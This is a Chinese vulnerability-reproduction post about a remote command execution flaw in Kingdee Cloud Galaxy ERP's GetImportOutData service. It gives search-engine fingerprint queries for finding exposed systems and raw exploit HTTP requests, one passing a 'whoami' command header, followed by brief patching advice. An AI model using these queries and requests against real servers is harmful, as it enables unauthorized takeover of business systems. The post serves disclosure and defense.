免责声明
本文内容旨在提供有关特定漏洞或安全漏洞的信息，以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步，并非出于任何恶意目的。
阅读者应该明白，在利用本文提到的漏洞信息或进行相关测试时，可能会违反某些法律法规或服务协议。同时，未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。
作者不对读者基于本文内容而产生的任何行为或后果承担责任。读者在使用本文所提供的信息时，必须遵守适用法律法规和相关服务协议，并独自承担所有风险和责任。
如有侵权，请联系作者删除。
漏洞描述
金蝶云星空ERP GetImportOutData.common.kdsvc 存在远程命令执行漏洞 ，外部攻击者可通过使用恶意攻击手段对目标系统进行权限获取，进而接管服务器控制权。
网络空间测绘
Fofa
app="金蝶云星空-管理中心"Hunter
app.name=="Kingdee 金蝶云星空"Quake
app:"金蝶云星空"
漏洞复现
POST /Kingdee.BOS.ServiceFacade.ServicesStub.InOutDataService.GetImportOutData.common.kdsvc HTTP/1.1
Host:127.0.0.1
User-Agent:Mozilla/5.0(Windows NT 6.1; WOW64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/38.0.2125.122UBrowser/4.0.3214.0Safari/537.36
Content-Length:28
Content-Type: application/json; charset=utf-8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"ap0":"asdas","format":"3"}
POST /Kingdee.BOS.ServiceFacade.ServicesStub.InOutDataService.GetImportOutData.common.kdsvc HTTP/1.1
Host:127.0.0.1
User-Agent:Mozilla/5.0(Windows NT 6.1; WOW64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/38.0.2125.122UBrowser/4.0.3214.0Safari/537.36
Content-Length:15907
Cmd: whoami
Content-Type: application/json; charset=utf-8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
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修复建议
1、如⾮必要，禁⽌公⽹访问该系统。
2、用防火墙等安全设备设定访问规则，只允许白名单中的设备访问。
3、及时升级产品到最新版本。
原文始发于微信公众号（凝聚力安全团队）：【漏洞复现】金蝶云星空ERP GetImportOutData .net反序列化漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
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